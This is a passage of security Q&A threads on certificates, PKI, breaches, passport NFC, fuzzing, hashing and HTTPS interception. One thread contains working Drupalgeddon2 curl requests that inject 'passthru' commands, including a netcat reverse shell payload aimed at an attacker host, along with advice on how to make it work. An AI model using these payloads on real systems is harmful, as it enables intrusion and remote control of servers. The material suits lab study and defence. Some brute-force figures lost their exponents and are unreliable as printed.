verify signatures issued by your RSA subkey, as the subkey's binding signature must be validated before
send encrypted messages to an ECC encryption subkey
send encrypted messages to an RSA encryption subkey, as the subkey's binding signature must be validated before

Signing your key is possible, as no cryptography with your public key must be performed, but the signee is just calculating a signature (using his own key) over your key's fingerprint.

PS: I verified those operations between GnuPG 1.4 and 2.1, as I had some expectations, but was not sure whether GnuPG actually meets them.


Alternatives to HTML's deprecated  for client certs? The keygen tag is used to make browsers generate private keys and POST the resulting CSR to the server, which can then issue a certificate. It's now been deprecated, for rather stupid reasons but that's besides the point.

So, what are the alternatives for a browser to obtain a client cert?

In this post in the chromium forum there are alternatives mentioned

Within the browser space, alternatives exist such as:

Use the device's native management capabilities if an enterprise use case. On Windows, this is Group Policy. On iOS/Android, this is the
mobile device management suites. On OS X, this is Enterprise settings.
On ChromeOS, there is chrome.enterprise.platformKeys [11] for
enterprise-managed extensions.
Use WebCrypto to implement certificate enrollment, then deliver the certificate and (exported) private key in an appropriate format for
the platform (such as PKCS#7) and allow the native OS UI to guide
users through installation of certificates and keys.

WebCrypto is supported by many browsers: [link]
And you can use openpgp.js and other solutions. [openpgp.js]
Here are some examples.
You can also generate a CSR: https://www.w3.org/community/webcryptoapi/draft/#generatecertrequest-method
Some library for generating CSRs: https://pkijs.org/
Here is an example with PKIjs for generating selfsigned X509 certs + the keypairs:
https://github.com/infotechinc/create-x509-certificate
The generateKey() function creates keypairs.
https://dvcs.w3.org/hg/webcrypto-api/raw-file/tip/spec/Overview.html#SubtleCrypto-method-generateKey


What's the point of the CA? So a Certificate Authority certifies that a website corresponds to a given organization. Why is this necessary?

When I interact with a business or organization, I do it one of a couple ways:

I interact with them physically in real life, or through mail, or what have you. I can just get their public key when I meet with them.
I interact with them solely digitally. I start with no reason to trust them, but gain trust over time. I only really need to make sure someone doesn't impersonate them, so I just check that it is the same key each time.
A friend refers me to a site. I can get the key from them.

So why do we need the CA? How does a website having a CA certificate make me trust it more than if it doesn't?

What you are describing sounds a lot like how I share PGP keys with my friends. It works fine when we're all nerds and adding keys manually and are chatting on the phone while we do it, but this approach doesn't scale very well.

CAs solve your second bullet in cases where you need to trust the connection the first time, in an automated way - which turns out to be absolutely essential more often than you might think. This is generally referred to as the bootstrapping problem - or "...but how do we do it the first time?"

Scenario 1: I'm at a friend's house and want to check my gmail. My friend uses hotmail and so her computer has no prior trust with gmail.com. How do I know it's the real gmail.com and not a phishing site made to look like gmail.com? How do I "build trust" enough to give it my user name and password? CAs solve this problem because the CA's cert is pinned in the browser, and the site presents a certificate signed by a CA, now the browser trusts that this is the real gmail.com.

Scenario 2: consider a CA in the context of a corporate VPN. The company hires a new person who will work remotely from a different country. You want to make sure that the very first time they connect to the corporate network, they can authenticate the server and didn't just give credentials to your corporate network to some hackers. CAs solve this problem because you can embed (or "pin") the CA's cert into the VPN client executable, and have the VPN server present a cert signed by this CA.

Scenario 3: Email. Something goes wrong on my server. I call up some contractors that I've been referred to and they say "Send us the log files for your firewall and we'll figure out what went wrong". I've never met these guys, how do I get their public key? I suppose they could read me the SHA2 hash over the phone for confirmation, but that's a HUGE hassle. CAs solve this problem because (assuming my IT dept has set up Outlook in some complex ways) Outlook will verify their certificate back to a trusted root.

Scenario 4: Bank transfers. I ask my bank to wire money to my friend who uses some small, unknown bank - maybe overseas. You can bet the bank won't just send money off to some server it doesn't trust. You can also bet that with the sheer number of banks on the planet, a bank will not mail out USB sticks to every other bank every time they need to stand up a new server (which may be an automated stand-up in response to a traffic spike). CAs solve this problem. In reality, the banking network SWIFT uses a complex hierarchy of CAs to secure the world's inter-bank transactions.

In addition to the technical scenarios above there's also the usability issue: in the current model, TLS is protecting your data and your connections whether or not you know it's there, which is great news for my grandmother. Being able to verify all certificates back to a trusted root CA is something that's easy for your browser to do behind the scenes. So even if a more manual system of importing / trusting keys worked, even I would find it unusably inconvenient, and I'm part of the 1% who does this for a living. My grandmother would...well, be in trouble.


Does anyone know about how LinkedIn was compromised? I know some super basic stuff about website security (e.g. using HTTPS, escaping user input), but hearing about high profile sites getting compromised makes me wonder in what way they were broken into, and what I could do to prevent such attacks on my own websites. A few searches on Google didn't turn up anything on how exactly the attacker managed to grab 6.5 million password hashes from LinkedIn, so I wanted to see if anyone here had an idea of what happened that day?

It was almost certainly SQL Injection.  This is really the best tool when it comes to a hacker reading information out of the database.  Its easy to say "oah we sanitize user input",  but it only takes missing quote marks on one variable,  or forgetting a single call an escape routine to leak 6.5 million password hashes.  Parameterized queries (when used properly) effectively stops these common mistakes.

That being said not every password leak is SQL Injection.  The recent IEEE leak was due to an HTTP log file on their FTP server.  Insecure logging or not being careful with a database backup can also lead a huge leak such as this.  As a pentester I see these mistakes all the time.


Is Buzzdocks a security threat? A BuzzDock toolbar suddenly appeared in my Chrome browser. I definitely did not install it nor do I remember installing any crapware.

It is not unknown to the internet community (Example 1, Example 2). Though it is considered annoying no one seems to think it is a security threat but I don't know where it come from so I am concerned.

Strictly speaking, any software that is added to your computer potentially increases its attack surface.  So, it is best practice to only install (or leave installed) software that you actually need.

Additionally, if software is installed without your knowledge or consent, this can be an indicator of an underlying security problem.  Either:

Somebody else has Administrator-level access (legitimately or not) to your computer, who does not respect your rights to manage your own computer's software and configuration.
You, or someone else allowed on your computer, may have downloaded (intentionally or not) some malware which has installed the toolbar.

A quick perusal of Google seems to generally indicate that BuzzDock is really nothing more than an annoyance to those who don't want to use it.  However, as @schroeder outlines in his answer, it does exhibit some behavior generally associated with spyware.  If you no longer want it on your computer, I'd suggest trying to uninstall it via appwiz.cpl, also known as "Add/Remove Programs" or "Programs and Features".

Additionally, you should ask yourself and other users of the computer the following questions:

Are you the only person with Administrator-level rights on your computer?
If the answer to #1 is no, do the others really need Administrator-level rights?

2a.  If not, down-grade their accounts to "Limited User".

2b.  If they do, make clear your expectations of what they may and may not use their Administrator-level privileges for on your computer.
Have you or anyone else installed anything on your computer recently?
If the answer to #3 is yes, is the software known to include BuzzDock?

4a. If yes, un-install BuzzDock and move on.  Ensure that all users who have permission to install software are aware of how to prevent installation of crapware in the future.

4b. If no, or if the answer to #3 is no, run a full scan of your system with your antivirus and antimalware programs of choice.

If any viruses or malware are detected which give you any trouble in removal, or if the software itself is hard to remove, a full system re-build may be your best resolution option.

In any case, there's rarely a time when an antivirus/antimalware scan is a bad idea - just so long as it's not during a period where it will impede the performance of the system under active use.


How can I preserve the uniqueness of a document without a database? I’m willing to create a system of transferable documents (identified by it’s ID) whose author can transfer his ownership of that document to another person (identified by his/her ID).

For example:

Alice; owner of document 1.
Alice transfers his ownership of that document to Bob.
Now: Bob is owner of document 1.
Alice says she is the owner of document 1, but she fails.

(Item 4 is very important)

We can make sure that the system with it’s author remains untouched by using digital signature. But if Alice made a copy of that document signed when she was the owner, there would be no way to prevent her from saying she is not the owner of the document.

So we would need something to make a signature to expire whenever it is transferred.

IF I HAD A DATABASE: I would simply add that signature to a ban list.

Are there any solutions to preserve the uniqueness of this document?

The problem is actually not to make sure that Alice cannot copy the document (i.e. preserve uniqueness as you asked) but to make sure that it is clear who owns this document currently.

A solution to this problem might be if not only the documents are signed but the transactions (transfer of ownership) are signed too. In this case Alice might claim that she still owns the document but Bob can refute this claim by showing the signed transaction that Alice has transferred the ownership to Bob. These transaction might also be made public so that is is not necessary that Bob explicitly refutes Alice claims but that everybody can see independently who the current owner is.

If the ownership of documents changes multiple times it need to be clear what the latest transaction on the document was in order to determine the current owner. This can be achieved by having a clear order of transactions, for example by using trusted timestamps or by putting all transactions on a common blockchain. A search for blockchain document ownership provides lots of discussions, PoC and even products about this topic for further reading.


What NFC protocol is used to read information on a Passport? I'm experimenting with NFC and realized that my passport actually stores data that is only available when the passport is opened. (A closed passport doesn't seem to divulge any information)

  What sequence of instructions is required to read data from a passport?

I assume a passive reading is insufficient, and some challenge / response is required.  (I base this on how existing 3rd party NFC applications interact with passport data)

Information in passports is protected by the Basic Access Control protocol, the standard can be found here. In order to read from the passport you need certain pieces of information; the passport number, the D.O.B and the date of expiry.

NFC TagInfo is quite a nice app that can read passports amongst other things, make sure you enter the correct information before attempting the read though. It can take a few seconds to read due to the amount of information being transferred.

In the USA there are foil covers over the passport which prevent the NFC working without the passport being open however with my UK passport I can read it just fine when it's closed.


If windows already has all admin rights, wouldn't a malicious program just need to pretend to be windows? Windows can do things that require UAC without prompting for UAC.

For example, Windows can change any file in C:\Windows without requiring UAC. Could a malicious program "pretend" to be windows and do the same kind of thing, but with worse results?

Acting as Windows is called running as SYSTEM. SYSTEM is the user account that has the lowest level access and can do anything on, well, the system. Windows uses the SYSTEM account to run key services that keeps the system in order.

If you can run as SYSTEM then yes you can pretty much do anything you want on that machine. The problem is that it's really difficult (relatively speaking) to get a program to run as SYSTEM, as you need administrative permissions to do so.


Corporate PKI - is it an enterprise standard? I've heard from one person that companies often issue own certificate for their internal usage. It's not signed by any public CA. And he says that it's an enterprise standard. I couldn't find any proof for that on the Internet and thus here is my question - is that really an Enterprise standard and what are the benefits of having such certificates? I could find only drawbacks.

A self-signed certificate is considered a certificate signed by the key inside the certificate itself. This is not common for larger installations (i.e. companies) because it does not scale, i.e. you would need to have exceptions or certificate pinning for each issued certificate.

What was probably meant is that a company has their own PKI structure with their own internal root-CA and use it to sign their own certificates. In this case it is enough that each system only trusts the company's root CA in order to verify each certificate issued by the company. This setup is actually very common in larger companies because it scales well. But even if these certificates are signed by the company themselves their are not called self-signed certificates, because this phrase has already a different meaning.


How to route internet traffic through Google I'm in a situation where my network provider blocks all my internet access except for Google and its branches (Drive, Gmail, etc).
I'm looking for a way to route my traffic through Google (with Google proxy or VPN or Tor bridge, etc) to be able to full access internet.
Is such thing possible and, if it is, how?

You might want to look into domain fronting. Unfortunately, it seems that Google has disabled support for this just last month (April of 2018), preventing Tor's meek pluggable transport from using it to evade authoritarian censorship. If there are any other web services which you are able to use for domain fronting, you may want to use them instead. If that doesn't work at all, you can visit arbitrary web pages by using Google Cache or Google Translate as a make-shift web proxy.

As Steffen Ullrich mentioned in a comment, you can also run a proxy or VPN on Google Cloud, assuming the IP addresses associated with it are not blocked. There are also a number of free, public CGI web proxies scattered around the internet that run on a Google service.


Sending a reverse shell command through the drupalgeddon vulnerability isn't working I'm trying to use the Drupalgeddon2 exploit (https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708) on drupal 7.57 ubuntu machine.

the requests:

-curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami' \ --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

-curl -k -i "http://192.168.204.141/?q=file/ajax/name/%23value/${form_build_id}" \ --data "form_build_id=${form_build_id}".

execute along with any other command (ls,cd...) and print a result.

but when I send the curl request:

curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=nc-e/bin/sh 192.168.204.128 5555'--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

It doesn't print anything (form_build_id) not even an error, and the target doesn't connect to handler. where do you think is the problem?

I have tried other payloads, and they result in the same things.

-I got it to work! For the future noobs like me there was 2 problems,
 +first make sure to urlencode the payloads you send ,or pass them into a variable and use
 the variable in the request.
 +secondly when trying to exploit this kind of vulnerabilities it is better to test on a
 ready to use test environments such built-in docker containers in order to avoid problems
 with OS and application firewalls and rules in addition to networking misconfigurations .
 -On the other hand if you're free and just playing with this at home feel free to test
 this on virtual machines to gain even more experience and perspective.


Is it possible to investigate if a pendrive has been connected to a specific PC? Is it possible to investigate if a pendrive has been connected to a specific PC? Are there any traces left on the device?

You could try USBDeview utility.
http://www.nirsoft.net/utils/usb_devices_view.html
Traces might be left on the PC, but not the device.


While working from home, is it a bad idea to give the company you work for your IP address? I work from home. Why would a company I am about to do some work for ask for my IP address?  What would they need it for?  Should I be worried?  Thanks

This seems to be a persistent question.  IP addresses aren't secrets.  Every website you go to must know your IP address.  There's no reason to not give away your IP address.

Many companies have firewalls that only allow certain addresses through to certain ports.  This is a relatively common way of controlling access to resources with minimal effort.

However, most people don't have static IP addresses at home, and your IP address can suddenly change without notice.  So just be aware that the IP you have today might not be the IP you have tomorrow.


How one would typically detect systems vulnerable to “NULL Session”? I got the question "Explain how one would typically detect systems vulnerable to “NULL Session” " ,but I do not know how to answer this question. Could you help me?

As @Philipp noted, it's not exactly clear, but if you are talking about a windows authentication null session, there are a lot of resources out there. Basically, it means you get access to some system resources shared on the network without needing real credentials to authenticate (log on). This existing definition is pretty good:

A remote session is created when a user logs on to a computer remotely using a username and password that has access to system resources. This is accomplished through the Server Message Block (SMB) protocol and the Windows Server service. These connections are entirely legitimate when proper credentials are supplied.

  A null session comes into play when a user makes a connection to a
  windows system with no username or password. This type of connection
  can not be made to any typical windows share, but it can be done to
  the Interprocess Communication (IPC) administrative share. The IPC
  share, as the name alludes to, is used by Windows processes (via the
  SYSTEM username) to communicate with other processes across the
  network. The IPC share is used exclusively by the SMB protocol.

  Using the IPC share with no credentials is typically reserved for
  programs communicating with one another, but there is nothing to say
  that a user could not connect to a machine via the IPC connection
  instead. This would not allow for unrestricted access to the machine,
  but will allow for pretty extensive enumeration that could aide an
  attacker.

This site also explains how to test for this using net use command. There are also some purpose built tools for this you can find.


Multi Tenant Database - HIPAA We are planning to develop a EHR/Billing Software and we are aware about HIPAA rules and regulations. Our current application architecture using a shared database with all client's(Provider/Practice) data.

I would like to know if HIPAA recommends in isolating database per client(Provider/Practice) - ie is a single database for every client a security breach of HIPAA rules and regulations?

HIPAA doesn't specifically prohibit shared infrastructure.

If you are going to be a neutral firm offering SaaS to numerous practices, this architecture will be fine. Ensure that your logical security is top notch such that no client can access data for any other client. This is fairly easy, but needs to be a deliberate, documented and demonstrable process. Ensure automated testing is in place to enforce these audits, heavily test your data access layer, etc.

Also, ensure your storage is encrypted.


What is the example parameter in the OAuth 2.0 RFC In section 4.1.4 of the OAuth 2.0 RFC, it gives an example of an access token response:

   An example successful response:

     HTTP/1.1 200 OK
     Content-Type: application/json;charset=UTF-8
     Cache-Control: no-store
     Pragma: no-cache

     {
       "access_token":"2YotnFZFEjr1zCsicMWpAA",
       "token_type":"example",
       "expires_in":3600,
       "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA",
       "example_parameter":"example_value"
     }

What is this example_parameter? It's not defined anywhere in the RFC from what I can read.

It is there to show that if you're writing a client, you may meet an implementation that returns additional parameters that are not mentioned in the RFC, as explained in section 8.2.

(For example, this implies that you should not use a JSON parsing framework that errors out when it meets unknown parameters).


How can I check my program for vulnerabilities over TCP? I made a program which runs constantly on a linux server (Program A). I also created another program which acts as user interface for A (Program B). A listens for incoming connections over TCP. After B connects to A and authenticated itself by using a password, A sends updates to B every few seconds. The connection is SSL-encrypted. I am also using a nonce in each message to avoid replay attacks.

Since I am very new to socket programming, I would like to check A for vulnerabilities / exploits over TCP (e.g. buffer overflow). I do not want strangers to be able to extract data from A by using exploits.

Which vulnerabilities would I need to check?

You can attempt to look for classes of vulnerabilities, but the complexity of the code will likely exhaust you before you exhaust even the smallest possibility space.  This is why compiler aware machine learning fuzzers exist.

Check out american fuzzy lop: https://en.wikipedia.org/wiki/American_fuzzy_lop_(fuzzer)

You build a small, contained test program that calls your network logic directly with 'network data' provided by the fuzzer. The fuzzer will manipulate a 'zoo' of samples (data files in a directory) making changes to the samples and calling your logic.  It is best to manually capture (wireshark) some tests and extract the client packets for each response to a sample file for the fuzzer.  It is smart enough to recognize a nonce provided in the samples.

It found a 1 in 4.4 billion infinite loop for me in a few seconds.
With the right options and a bit of engineering it can even find your read beyond buffer errors.

It helps if your response logic is already well encapsulated and doesn't reach out to slow services (like the network) on every message.
You do not want it to write to your DB.
This will probably require some special initialization of your state to either accept the same nonce code for the duration of a test run or you should forcibly set a valid nonce into the data for each call.  Happily one of the capabilities of the fuzzer is to copy your state and reset it before each variation.  If the nonce is set during session initialization before any client response data, this performance option will set you free.

If it wasn't obvious you'll need to bypass SSL functionality for this test executable.

Of course other testing solutions exist, like Selenium, but the focus is different.  You want to find all the vulnerabilities with minimal test generation effort, and get reliable reproduction?  American fuzzy lop.


Issuing browser certificates to Chrome and Firefox with Microsoft CA Most companies use IE with an ActiveX control to create a CSR and submit it to the CA for approval.

Since many browsers either block or don't support ActiveX controls, how can I enroll them using a Microsoft-based CA?

In other words how can I issue browser certificates (for user authentication) from a Microsoft-based CA to Chrome,Firefox, Safari, and possibly Opera users?

Certificate Signing Requests (CSRs) are a standard format, as are signed certificates. Without that standardization, the entire certificate system would be (more) horribly broken.

Any certificate signed by the CA and placed on a computer with the corresponding private key will be valid. Where they're generated is essentially irrelevant.

If you're already using IE with Active X for the process, then just export the resulting certificate and key. If not, make your own key and signing request with OpenSSL.

For import / export, see this also.


Is there such a thing as an SSLeay/PKCS#1-style static Diffie-Hellman key? That is, would you ever find a PEM file which starts:

-----BEGIN DH PRIVATE KEY-----

or:

-----BEGIN DH PUBLIC KEY-----

?

And if so, what is its structure?

I know static DH keys are an oddity, and perhaps even extinct. And i know you can put a DH private key inside a PKCS#8 wrapper, and that you can put a DH public key in an X.509 certificate, or have it as a loose X.509-style public key - or at least, than OpenSSL knows how to do it! But i can't find any reference to anyone ever using the older format for static DH keys.

The reason i ask is that i'm writing some code that takes keys as input, and i'd like to support a wide a range of keys as possible. I can handle keys for the RSA, DSA, EC and DH algorithms. As for formats, i support:

PKCS#8 format for private keys
X.509 PublicKeyInfo format (as produced by openssl pkey) for public keys
PKCS#1 for RSA private keys
PKCS#1-like for DSA private keys (as produced by openssl dsaparam -genkey)
PKCS#1-like for EC private keys (as produced by openssl ecparam -genkey)

I'm trying to work out of there's a PKCS#1-like format for DH private keys as well, because if there is, i should support it.

Short version:

Yes, PKCS#8 is a PKCS#1 style wrapper which can contain a DH key.
PKCS#1 is an RSA-specific format, so no, you won't find a DH key in it.

Medium version:

Once upon a time, RSA invented some crypto.  And they wanted to wrap it in a usable format, so they invented PKCS#1.  That's why it's, you know, #1 - because it came first.  But it really only handled RSA keys, as reflected by the use of "RSA" in the wrapper.

Somewhat further along the road, they said "Wait a minute!  We should be able to do the same thing with DH keys, and Elliptic Curve keys, and...  Let's create a new PKCS that's flexible by design and can handle different types of keys.  And, um, while we're doing it, let's take the algorithm name OUT of the wrapper and encode it as part of the data."  And that's how PKCS#8 was born.

Long version:

There's a question on Stack Overflow that triggered some great answers in this space.  This answer talks about the PKCS#1 / PKCS#8 distinction.  And this answer, which is bear-like in its awesomeness, goes into the details of the design history that I've tried to sum up in the Medium version above.

Footnote: the "Long version" I've provided is actually longer once you've read the two referenced SO answers, so don't be snarky.


Should we be using SHA3? (2017) This question is a duplicate, however I feel that it's necessary given the question. The original was posted in 2012: about 5 years ago before NIST had even published the final specification.

The question is more or less the same as the original. Has SHA3 been studied enough to be considered secure for high-value situations, and is there an advantage to using it over it's predecessor, SHA2. Basically, should we use it?

I'm not convinced that we should.  SHA-3 has some nice features for sure, but for the reasons I list below, I would probably suggest using SHA-2 or BLAKE2 for the time being.  Even NIST themselves say:

  Currently there is no need to transition applications from SHA-2 to SHA-3.

That said, you may still be thinking "why not"?

SHA-3 is not yet FIPS-140 compliant.  Without FIPS 140-3, it is out of reach of non-military government agencies and government contractors.  If you are worried about FIPS compliance, you are stuck with the SHA-2 suite for now.  SHA-3 was included in FIPS 140-2 Annex A, and even though this document still says "Draft" on the cover page it appears to have been finalized via these two pages.
Performance.  SHA-3 is incredibly fast in hardware (ASIC) implementations.  However, it is much slower in software running on CPUs with limited registers, meaning it's less useful generally*.  Its primary competitor (at least, in the aftermath of the competition) is BLAKE2, which has shown to be much faster on general CPUs and is sometimes favored over Keccak/SHA-3 for other reasons.  While I feel that NIST understated the in-software performance differences between finalists, their comments on performance in the last round of decision making may be helpful to provide context.  From NISTIR 7896, section 3.2:

  a. All five finalists perform well enough to be usable in most applications.
  b. None of the five finalists is the best for every application, and none offers really compelling improvements over the SHA-2 algorithms.
  c. The ARX-based algorithms, BLAKE and Skein, perform extremely well in software.
  d. Keccak has a clear advantage in throughput/area performance in hardware implementations.
  e. Grøstl and JH are considerably slower than the other three algorithms in most software implementations.

Potentially unnecessary prudence.  It is also worth noting that BLAKE got negative remarks due to how similar it was to SHA-2.  Out of prudence, this helped Keccak/SHA-3 win the competition.  From NISTIR 7896, section 3.4:

  b. Because SHA-2 is an ARX-based design with a key schedule, it has some important design elements in common with BLAKE and Skein, although neither is closely related to SHA-2. However, cryptanalytic tools that apply to SHA-2 in the future seem more likely to apply to BLAKE or Skein than to the other three finalists.

* Recall that we're discussing cryptographic hash functions here, not necessarily password hashing functions or KDFs.

Some more reading that may be worth the time:

NIST may not have you in mind, by Adam Langley
The Keccak sponge function family
NISTIR 7896
BLAKE2: “Harder, Better, Faster, Stronger” Than MD5
Why Replace SHA-1 with BLAKE2?
Maybe Skip SHA-3


Securing the bootloader When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid.

My question is how can I secure myself from this? Can I encrypt the drive or store it in a USB?

BTW: There is no more news about the NSA HDD backdoors. Is there a way to secure against hardware backdoors?

UEFI Secure Boot provides protection from this type of attack by requiring cryptographically signed executables.
Generally speaking, you need a tamper-resistant hardware module that validates the bootloader (e.g. a TPM chip).

To protect yourself from hardware backdoors you need something like the Intel Trusted Execution Technology. Basically, all your hardware modules (your HDD, your keyboard, etc.) have to have a way to identify themselves to the CPU. That means that all the chips on your motherboard and every peripheral devices you connect must include a tamper-resistant keystore (like a smart card or a TPM chip). And since the currently commercially available hardware does not include components like that you cannot do much.


Is there a way to tell if an Android app really uses SSO(Single Sign On)? In the last few years, SSO protocols like OAuth and SAML are becoming increasingly used to enable 3rd parties access some user's resources from some service without the need for user to provide credentials to the 3rd party.

One such example are payment gateways:

User selects a product he would like to buy
User is redirected to the gateway page to enter his credit card details
User is redirected back to the merchant website and the merchant gets the confirmation from the payment gateway that the transaction was successfull, without knowing user's credit card details

When a web brower is used, it's clear to me that I can be sure that I'm at a legitimate gateway page, by looking at name in the address bar and seeing that the certificate is ok(if I trust the payment gateway).

There are alo some merchant mobile apps that use SSO, by embedding the browser in the app to redirect user to the payment gateway. However, in those apps you don't see the address bar nor the gateway certificate. So, how can you be sure that you're entering your details in the payment gateway page instead of the merchant's app?

One such app that I saw is a local food ordering app.

EDIT: As @Anthony Russell pointed out you can use some tool to sniff the traffic and see what's really going on. If an app uses HTTPS you could use Burp/Zap/mitmproxy. If it uses SSL but not HTTPS, you could try to reverse engeneer the app but that would take more time.

You cannot know, unless the native browser is shown. That's why Google disallowed any "web view" approach when authenticating against their OAuth2 system:
https://developers.googleblog.com/2016/08/modernizing-oauth-interactions-in-native-apps.html

The RFC also recommends native browser in these cases:
https://tools.ietf.org/html/draft-ietf-oauth-native-apps-12

  OAuth 2.0 authorization requests from native apps should only be made
     through external user-agents, primarily the user's browser.  This
     specification details the security and usability reasons why this is
     the case, and how native apps and authorization servers can implement
     this best practice.


Possible to detect tools like HTran from network analysis? There is a publicly available tool called HTran which is widely used by criminal groups in cyberattacks to exfiltrate data. It simply relays traffic from one host to another, much like a proxy. It is typically used to relay information from an internal network that does not allow internet access, but allows access to the intermediate device.

If someone could do network analysis on both ends of the connection, what kinds of clues would be left in the traffic that would allow someone to detect the anomalous traffic?

If you are only doing network analysis and not using any IDS systems with signatures, one thing that would be observed is the traffic going between the hosts where that isn’t normal to see. Hosts don’t generally communicate to each other on a large enterprise network, host to server yes, not host to host. So with knowledge of the tool ports and protocols, you can look for traffic going host to host that matches. EDR software and IDS, data collection and analysis (e.g. splunk) and other tools will give you more to look at.


Correct metasploit search usage (or bug?) I just noticed that the metasploit search keyword does not produce results as I'd expect it.

If I search e.g. with

search platform:linux

I get proper results limited to Linux.

But if I add another criterion it seems to combine them with OR instead of AND, as I would need it. Example:

search platform:linux name:SMB

This gives me tons of results which are not limited to Linux and also Linux results that do not have SMB in their name.

Am I using this wrong? Is my setup not working correctly? I sincerely hope this is not working as intended since with so many exploits and modules I'd really need to limit my searches by combining keywords and categories.

This behavior changed in December 2016. search now returns an intersection of results for multiple keywords instead of a union.


How to see whether the pcap contains RTP traffic? I am analyzing the traffic of a VOIP application. I started up wireshark, and made sure no other application was using internet, and then had a a voice call on the application. Wireshark captured some nice UDP packets for me. I did that three times for voice and three times for video. Now I want to analyze the traffic, that is, find out what kind of traffic is there, or whether there are any application specific patterns etc.

I did read up on google to right click on a packet and select decode as -> RTP - but then I don't see any RTP header or payload, all I see is  Version: Version draft 1 in under the RTP heading.

Any help or guidance in this regard is appreciated.

BTW - I am reading RFCs and what now, but still can't figure out how to analyse traffic and figure out whether RTP is there or not, and if it is, whether the media is transferred using  just this, or something else too?

Some Issues to consider

Are you sure that you captured all the traffic on the network interface ?
Are you running the latest version of Wireshark ?
Are you sure you didn't try to decode SIP traffic as RTP traffic ?

My advice would be to download some pcaps that contain known RTP traffic from Pcapr ie the following PCAP SIP PCAP . Once your more comfortable with what RTP traffic should look like, you will have a better chance of spotting it on your own network.

note I have no connection with pcapr


How do researchers "gain control of an attacking PC" and not themselves be considered attackers / criminals? In reference to this Network Computing Report article titled "'Operation Shady Rat' Perpetrated Five Years Of Long-Term Attacks On Government, Enterprises"

The Cliff's Notes to the article is thus: it has been discovered that many countries and large corporations have been the target of long-term, concerted attacks. This information has been discovered through a long term research effort done by McAfee.

A quote from the article intrigued me (emphasis mine):

  In a probe dubbed Operation Shady RAT (for Remote Access Tool),
  researchers gained access to one of the attackers’ command and control
  (C & C) servers and obtained detailed insight into the victims, the
  information stolen, and the methods used.

In one of McAfee's statements about the operation, they merely state:

  McAfee has gained access to one specific Command & Control server used
  by the intruders.

But the don't say how they gained access. Maybe it was after a legal seizure of hardware.

How would researchers gain control of an attacker's systems and not themselves have broken the law? Must they attain some kind of "warrant" or legal blessings on this kind of thing? Is it ever acceptable to penetrate an attacker's systems in the course of researching their behavior?

C6C server are often servers that got hacked, not servers rented by the attacker.

Security support contracts

For public organisations there are often CERTs (computer emergency response team) responsible for them. For example there is the DFN Cert for all Germany universities. Large companies tend to have support contracts with companies specialized in security.

So after the security breach is noticed, the server may be turned over to the security organisation in order to do forensics: Learn how the attacker got in, try to estimate what damage they caused, to what data they had access, etc. Knowing the damage as good as possible, may be especially important in order to defend against being sued by customers.

This is the most common case. The wording is very similar to what our CERT said when they got handed a C&C server by an university some time ago: "The CERT gained access to a command and control server which collected a list of web addresses, usernames and passwords. As the domain of the following entries is within your responsibility please inform your users with the following account names that their computer is infected".

The security organisations obviously need to prevent drawing attention to their customers because it implies that the customer got successfully attacked.

Other means

The C&C might have been a honeypot, a server dedicated to being attacked. I think this is unlikely because it is said that the c&c server was active for years.

There might have been a court order to seizure the server. But if that was the case and the security company was called as expert witness, they would probably not be allowed to got the public.

The security company might have gotten unauthorized access. I consider this extremely unlikely because of the huge legal risk involved.

tl;dr

The company. which unwillingly hosted the C&C. most likely handed it over to their security consultants for damage assessment.


Bruteforce Passphrase of Dictionary Words Consider the all lowercase passphrase:

"lazy fox haggles treaty"

Assume all four words are in a dictionary of 2000.

Bruteforcing word combinations, how long does it take to crack this password at 1000/s?

How does this change if there are upper/lowercase?

How does this change if there is a dictionary of 10000 words?

Edit:

Attacker is not throttled, local context.

4 samples from a dictionary of 2000, gives a passphrase-space cardinality of 20004.

Time to crack at 1000 attempts per second;

20004 / 1000 = 1.6E10 seconds = 507 years.

With possible uppercase first-characters you have a cardinality of 4,0004 (twice as many words per slot). Which is quite a bit larger, and would take 8,117 years at 1000 attempts per second.

A dictionary of 10,000 words would yield 0.3 million years crack time at 1000 per second.

Whether this is a realistic threat model depends entirely on your situation. If you are talking about cracking the passphrase offline after it has been hashed with a single iteration of MD5, a determined attacker can reach over 100 billion attempts per second, which gives you just 27 hours rather then 0.3 million years in the last example.


Why is Firefox (and only Firefox) reporting that my connection is insecure on multiple sites? After installing Firefox 54.0.1 on my work laptop, the first page I see warns me that "Your connection is not secure" when opening https://www.mozilla.org/.

"The owner of Firefox has configured their website improperly"

After browsing a bit more, I noticed that Firefox wasn't just reporting errors for Mozilla.

Firefox is reporting HTTPS security errors for Google, Microsoft, Dropbox, GitHub, Wikipedia, LastPass, Netflix, Facebook, Twitter, Skype, WhatsApp, WolframAlpha, Amazon, LinkedIn, AutoHotkey, Yahoo, Imgur, and even Stack Exchange.

There are a few things worth noting about these errors.

Neither Google Chrome 59.0.3071.115 or Internet Explorer 10.0.9200.22139 report security issues on any of the listed websites
A select few sites load in Firefox without reporting any security errors, including Discover, Visa, Mastercard, Chase, American Express, Citibank, Capital One, Bank of America, PayPal, Stripe, Intuit, TreasuryDirect, iCloud*, Discord, and YouTube.

(Concerningly, a majority of the sites which load without reporting any security errors are related to online banking and finance)

I am able to load Mozilla's support page and Wells Fargo without security errors, but the pages render as text without any images or formatting

It's worth restating that these security errors are happening on a work-issued laptop, meaning that my employer is most likely scanning HTTPS traffic.

While HTTPS scanning can at least partially explain the HTTPS security errors, the situation still leaves me with a few questions.

Why is Firefox the only browser reporting these security errors?
Why isn't Firefox reporting security errors on banking and financial websites?
Why do some pages not report security errors, but only load as plain text?

*Note: While iCloud did not report any security errors, the page did eventually fail to load with a connection error.

There is a lot to unpack so I’ll do my best here (based on some assumptions).

Firefox maintains its own certificate store which is likely the reason only Firefox is throwing these errors. Traditionally, SysAdmins will push out certificates through Group Policy, which works for both Chrome and IE / Edge but Firefox won’t trust it. I would imagine that your traffic is being intercepted by a transparent proxy server which is inspecting your traffic (note that looking at the certificate information will reveal whether or not this is a certificate that your work has pushed out).

Assuming again, but your work is probably explicitly not filtering financial website traffic — presumably to avoid any potential liability with doing so.

